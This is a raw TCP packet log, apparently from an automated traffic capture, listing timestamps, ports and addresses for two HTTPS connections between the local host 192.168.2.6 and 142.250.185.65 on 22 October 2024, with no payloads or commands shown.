Oct 22, 2024 16:11:58.170542955 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.170581102 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.180845976 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.180901051 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.180907965 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.180953979 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.222781897 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.222856045 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.222865105 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.222976923 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.279624939 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.279704094 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.279719114 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.279758930 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.279762030 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.279778957 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.279808044 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.279838085 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.285371065 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.285500050 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.285530090 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.285550117 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.285557032 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.285584927 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.285593987 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.285600901 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.285604954 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.285641909 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.296072960 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.296129942 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.296133041 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.296144009 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.296230078 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.356101036 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.356170893 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.356201887 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.356245041 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.394804001 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.395122051 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.395165920 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.395188093 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.395207882 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.395220995 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.395251989 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.395437956 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.395487070 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.400743008 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.400800943 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.400815010 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.401141882 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.401170015 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.401190042 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.401196003 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.401206017 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.401230097 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.401248932 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.411585093 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.411636114 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.412173986 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.412216902 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.471307993 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.471373081 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.471396923 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.471441031 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.510576010 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.510632038 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.510643005 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.510665894 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.510682106 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.510716915 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.510723114 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.510763884 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.516758919 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.516819000 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.516844988 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.516846895 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.516860008 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.516959906 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.516988993 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.516993999 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.517034054 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.517290115 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.517339945 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.517384052 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.517391920 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.517429113 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.527542114 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.527595997 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.527601957 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.527616978 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.527637959 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.527678013 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.586745977 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.586972952 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.587001085 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.587043047 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.626471996 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.626532078 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.626558065 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.626591921 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.626612902 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.626626015 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.626652956 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.631974936 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.632026911 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.632040024 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.632078886 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.632221937 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.632262945 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.632268906 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.632301092 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.632304907 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.632313013 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.632339001 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.632370949 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.632375002 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.632874966 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.633312941 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.633364916 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.633373976 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.633410931 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.642513990 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.642575979 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.642600060 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.642640114 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.642647028 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.642683983 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.702711105 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.702778101 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.702861071 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.702914000 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.742115021 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.742176056 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.742194891 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.742199898 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.742222071 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.742242098 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.742259026 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.742300987 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.747360945 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.747473001 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.747488976 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.747545004 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.747555017 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.747560978 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.747590065 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.747618914 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.747623920 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.747714996 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.747720957 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.747770071 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.748473883 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.748538017 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.748554945 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.748608112 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.758403063 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.758501053 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.758526087 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.758569002 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.758616924 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.758625984 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.758665085 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.818432093 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.818487883 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.818561077 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.818588018 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.818627119 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.857376099 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.857429028 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.857448101 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.857466936 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.857481956 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.857515097 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.857748985 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.857923031 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.863609076 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.863676071 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.863698959 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.863744020 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.863758087 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.863770008 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.863806963 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.863945961 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.863993883 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.863998890 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.864003897 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.864047050 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.864052057 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.866789103 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.873661995 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.873728037 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.873743057 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.873792887 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.873914957 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.873966932 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.874061108 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.874109983 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.874114990 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.874166012 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.874191999 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:58.874222040 CEST	443	49988	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:58.874274969 CEST	49988	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:59.282094002 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.282258987 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:59.290677071 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.290802956 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:59.400973082 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.401099920 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:59.401144028 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.401323080 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.401386976 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:59.401420116 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.401529074 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.401607037 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:59.401623011 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.401812077 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:59.406919956 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.408382893 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:59.408396959 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.408519983 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:59.417073011 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.417162895 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:59.417176962 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.418792009 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:59.518182993 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.518307924 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:59.518377066 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.518491983 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.518590927 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.518691063 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.518779993 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:59.518780947 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:59.518796921 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.518851042 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.518910885 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:59.523705959 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.523776054 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:59.523792028 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.526799917 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:59.532618046 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.534303904 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:59.534322023 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.534809113 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:59.635077953 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.635287046 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.635413885 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.635514021 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.635593891 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:59.635628939 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.638807058 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:59.638828039 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.639691114 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:59.640528917 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.640815020 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.640897989 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:59.640914917 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.642796040 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:59.649734974 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.650799990 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:59.650815010 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.654797077 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:59.751791000 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.751944065 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.752018929 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.752048969 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.752079010 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.752248049 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:59.752249002 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:59.752327919 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.752386093 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:59.752403021 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.754793882 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:59.754807949 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.757886887 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.757951021 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:59.757966995 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.758789062 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:59.766591072 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.766756058 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.766808987 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:59.766809940 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:59.766827106 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.770648956 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:59.770663023 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.770787001 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:59.868716002 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.868855000 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:59.868889093 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.868948936 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:59.868957996 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.869103909 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.869119883 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:59.869139910 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.869155884 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:59.869200945 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:59.874859095 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.874933958 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:59.874984980 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.875037909 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:59.883799076 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.883882999 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:59.883915901 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.883968115 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:59.883980989 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.884023905 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:59.884037018 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.884082079 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:59.927548885 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.927653074 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:59.985681057 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.985779047 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:59.985845089 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.985914946 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:59.985932112 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.985991955 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:59.986005068 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.986063957 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:59.986078024 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.986135960 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:59.991997957 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.992063999 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:59.992120028 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.992177010 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:59.992214918 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.992275953 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:59.992314100 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.992357016 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:11:59.992407084 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:11:59.992459059 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.000971079 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.001100063 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.001117945 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.001182079 CEST	49989	443	192.168.2.6	142.250.185.65
